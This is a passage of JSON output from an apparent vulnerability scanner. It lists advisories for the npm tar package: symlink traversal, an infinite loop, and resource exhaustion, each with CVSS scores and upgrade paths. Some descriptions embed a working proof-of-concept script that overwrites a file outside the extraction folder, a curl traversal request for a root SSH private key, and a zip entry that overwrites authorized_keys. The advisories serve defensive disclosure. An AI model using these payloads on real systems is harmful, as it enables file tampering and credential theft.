'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": 